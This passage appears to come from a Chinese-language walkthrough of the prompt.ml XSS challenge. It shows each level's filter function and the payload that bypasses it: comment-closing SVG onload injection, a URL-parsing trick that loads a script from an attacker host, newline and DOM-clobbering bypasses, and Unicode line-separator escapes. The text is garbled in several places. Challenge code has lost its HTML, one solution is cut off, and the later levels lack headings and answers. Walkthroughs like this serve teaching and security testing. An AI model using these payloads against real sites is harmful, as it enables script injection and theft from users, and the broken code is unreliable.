但其不能在chrome中运行成功
还有一种支持es6的情况，使用eval会自动解码执行

或是

<script>prompt.call`${1}`script>

level 3

function escape(input) {// filter potential comment end delimitersinput = input.replace(/->/g, '_');// comment the input to avoid script executionreturn '';
}    

这个是将->替换成_，并要求绕过注释
这个只要想办法闭合注释即可，在2012年的时候，html可以-->或--!>闭合注释

--!><svg/onload=prompt(1)

level 4

function escape(input) {// make sure the script belongs to own site// sample script: http://prompt.ml/js/test.jsif (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {var script = document.createElement('script');script.src = input;return script.outerHTML;} else {return 'Invalid resource.';}
}        

不懂
1、这个题目是利用url的特性绕过，浏览器支持这样的url：

http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数，所以可以使用%2f绕过，如下：http://prompt.ml%2f@attacker.com。所以域名越短，答案就越短。

//prompt.ml%2f@xx.xx.xx.xx/1.JS

(这里用了@的黑魔法，后面是自己xss)

level 5

function escape(input) {// apply strict filter rules of level 0// filter ">" and event handlersinput = input.replace(/>|on.+?=|focus/gi, '_');return ''" type="text">';
}        

过滤了>，也就是说不能闭合，由于onxxx=全部替换成_,这里利用回车绕过即可
然后有一种方法就是利用image类型，由于最后的type并不能覆盖前一个type，所以完全可以定义一个类型

"type=image src onerror
="prompt(1)

level 6

function escape(input) {// let's do a post redirectiontry {// pass in formURL#formDataJSON// e.g. http://httpbin.org/post#{"name":"Matt"}var segments = input.split('#');var formURL = segments[0];var formData = JSON.parse(segments[1]);var form = document.createElement('form');form.action = formURL;form.method = 'post';for (var i in formData) {var input = form.appendChild(document.createElement('input'));input.name = i;input.setAttribute('value', formData[i]);}return form.outerHTML + '                         \n\
                                                 \n\';} catch (e) {return 'Invalid form data.';}
}        

分析源码可以看到，大概是由#分割，前面赋给form.action，使method=post，后面以json格式赋给formdata，把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交，所以这里使用js伪协议。由于允许我们创建我们自己的输入，这些输入可以用来破坏窗体的action属性。由于DOM破坏，document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性，因此可以执行JavaScript。

javascript:prompt(1)#{"action":1}

level 7

function escape(input) {// pass in something like dog#cat#bird#mouse...var segments = input.split('#');return segments.map(function(title) {// title can only contain 12 charactersreturn '
0, 12) + '">
';}).join('\n');
}        

意思是根据#分离，每一部分赋给一个title，如果超过12字符，就截取前12个。

">'/*#*/prompt(1)'

结果

class="comment" title=""><svg/a=">
 
comment" title=""onload='/*">p> 
<p class="comment" title="*/prompt(1)'">p>

官方提供了几个在MSIE的解答

"> ';
}        

按理说过滤了\r\n，返回了// console.log("input"),所以需要绕过过滤规则逃逸注释符,类似结果如下：

U+2028，是Unicode中的行分隔符。
U+2029，是Unicode中的段落分隔符。
–> 在 js 中可当注释使用 

function escape(input) {// filter potential start-tagsinput = input.replace(/<([a-zA-Z])/g, '<_$1');// use all-caps for headinginput = input.toUpperCase();// sample input: you shall not pass! => YOU SHALL NOT PASS!return '
' + input + '
';
}        

function escape(input) {// (╯°□°）╯︵ ┻━┻input = encodeURIComponent(input).replace(/prompt/g, 'alert');// ┬──┬ ノ( ゜-゜ノ) chill out broinput = input.replace(/'/g, '');// (╯°□°）╯︵ /(.□. \）DONT FLIP ME BROreturn ' ';
}     

function escape(input) {// name should not contain special charactersvar memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');// data to be parsed as JSONvar dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';// directly "parse" data in script contextreturn '                                \n\
 ';
}